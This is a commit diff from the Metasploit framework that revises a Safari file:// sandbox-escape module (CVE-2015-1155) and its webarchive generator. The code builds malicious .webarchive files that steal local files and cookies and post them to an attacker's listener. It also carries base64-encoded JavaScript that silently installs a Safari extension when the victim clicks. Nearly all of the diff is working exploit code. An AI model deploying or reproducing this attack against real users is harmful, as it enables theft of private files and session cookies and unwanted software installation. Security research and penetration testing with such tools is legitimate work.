Skip to content

Commit 8b6fba4

Browse files
committed
Tweak and fix some things in Safari file URL module.
1 parent 18a9585 commit 8b6fba4

File tree

2 files changed

+43
-39
lines changed

2 files changed

+43
-39
lines changed

lib/msf/core/format/webarchive.rb

Lines changed: 26 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,26 @@
1-
#safari.installExtension("com.pinterest.extension-HWZFLG9PNK","http://assets.pinterest.com/ext/Pinterest-Safari.safariextz")
2-
1+
#
2+
# The WebArchive mixin provides methods for generating a Safari .webarchive file
3+
# that performs a variety of malicious tasks: stealing files, cookies, and silently
4+
# installing extensions from extensions.apple.com.
5+
#
36
module Msf
47
module Format
58
module Webarchive
69

710
def initialize(info={})
811
super
9-
register_options(
10-
[
11-
OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']),
12-
OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']),
13-
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']),
14-
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']),
15-
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]),
16-
OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]),
17-
OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install"]),
18-
OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install"])
19-
],
20-
self.class)
12+
register_options([
13+
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
14+
OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']),
15+
OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']),
16+
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']),
17+
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']),
18+
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]),
19+
OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]),
20+
OptBool.new('INSTALL_EXTENSION', [true, "Silently install a Safari extensions (requires click)", false]),
21+
OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install", "https://data.getadblock.com/safari/AdBlock.safariextz"]),
22+
OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install", "com.betafish.adblockforsafari-UAMUU4S2D9"])
23+
], self.class)
2124
end
2225

2326
### ASSEMBLE THE WEBARCHIVE XML ###
@@ -90,8 +93,7 @@ def wrap_with_script(&blk)
9093
def iframes_container_html
9194
hidden_style = "position:fixed; left:-600px; top:-600px;"
9295
wrap_with_doc do
93-
frames = "<iframe src='#{apple_extension_url}' style='#{hidden_style}'></iframe>"
94-
communication_js + frames + injected_js_helpers + steal_files + install_extension + message
96+
communication_js + injected_js_helpers + steal_files + install_extension + message
9597
end
9698
end
9799

@@ -115,18 +117,23 @@ def apple_extension_url
115117
end
116118

117119
def install_extension
120+
return '' unless datastore['INSTALL_EXTENSION']
121+
raise "EXTENSION_URL datastore option missing" unless datastore['EXTENSION_URL'].present?
122+
raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present?
118123
wrap_with_script do
119124
%Q|
120125
var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}');
121126
var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}');
122127
123-
setTimeout(function(){
128+
window.onclick = function(){
129+
x = window.open('#{apple_extension_url}', 'x');
130+
124131
function go(){
125132
window.focus();
126133
window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x')
127134
}
128135
setInterval(go, 400);
129-
}, 600);
136+
};
130137
131138
|
132139
end
@@ -326,7 +333,7 @@ def injected_js_helpers
326333

327334
# @return [String] the path to send data back to
328335
def collect_data_uri
329-
'/' + datastore["URIPATH"].chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"]
336+
'/' + (datastore["URIPATH"] || '').chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"]
330337
end
331338

332339
# @return [String] formatted http/https URL of the listener

modules/auxiliary/gather/safari_file_url_navigation.rb

Lines changed: 17 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -16,19 +16,20 @@ def initialize(info = {})
1616
super(update_info(info,
1717
'Name' => 'Mac OS X Safari file:// Redirection Sandbox Escape',
1818
'Description' => %q{
19-
Due to an issue in the way Safari handles error page origins,
20-
an attacker who can entice a user into visiting a malicious page
21-
can gain a reference to the resulting error page in the file:// scheme.
22-
From there, the attacker can access cross-domain globals, such as 'location'
23-
and 'history,' which leads to a total compromise of the sandbox.
19+
Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to a
20+
"state management issue" that allows a browser window to be navigated
21+
to a file:// URL. By dropping and loading a malicious .webarchive file,
22+
an attacker can read arbitrary files, inject cross-domain Javascript, and
23+
silently install Safari extensions.
2424
},
2525
'License' => MSF_LICENSE,
2626
'Author' => [
2727
'joev' # discovery, module
2828
],
2929
'References' => [
3030
['ZDI', '15-288'],
31-
['CVE', '2015-1155']
31+
['CVE', '2015-1155'],
32+
['URL', 'https://support.apple.com/en-us/HT204826']
3233
],
3334
'Platform' => 'osx',
3435
'Targets' =>
@@ -40,12 +41,11 @@ def initialize(info = {})
4041
))
4142

4243

43-
register_options(
44-
[
45-
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
46-
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 8081]),
47-
OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080])
48-
], self.class )
44+
register_options([
45+
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
46+
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 8081]),
47+
OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080])
48+
], self.class)
4949
end
5050

5151
def lookup_lhost(c=nil)
@@ -59,19 +59,16 @@ def lookup_lhost(c=nil)
5959

6060
def on_request_uri(cli, req)
6161
if req.method =~ /post/i
62+
data_str = req.body.to_s
6263
begin
63-
data_str = if req.body.size > 0
64-
req.body
65-
else
66-
req.qstring['data']
67-
end
6864
data = JSON::parse(data_str || '')
6965
file = record_data(data, cli)
70-
send_response(cli, 200, 'OK', '')
66+
send_response_html(cli, '')
7167
print_good "data #{data.keys.join(',')} received and stored to #{file}"
7268
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
73-
print_error "Invalid JSON received."
74-
send_not_found(cli)
69+
file = record_data(data_str, cli)
70+
print_error "Invalid JSON stored in #{file}"
71+
send_response_html(cli, '')
7572
end
7673
elsif req.uri =~ /#{popup_path}$/
7774
send_response(cli, 200, 'OK', popup_html)

0 commit comments

Comments
 (0)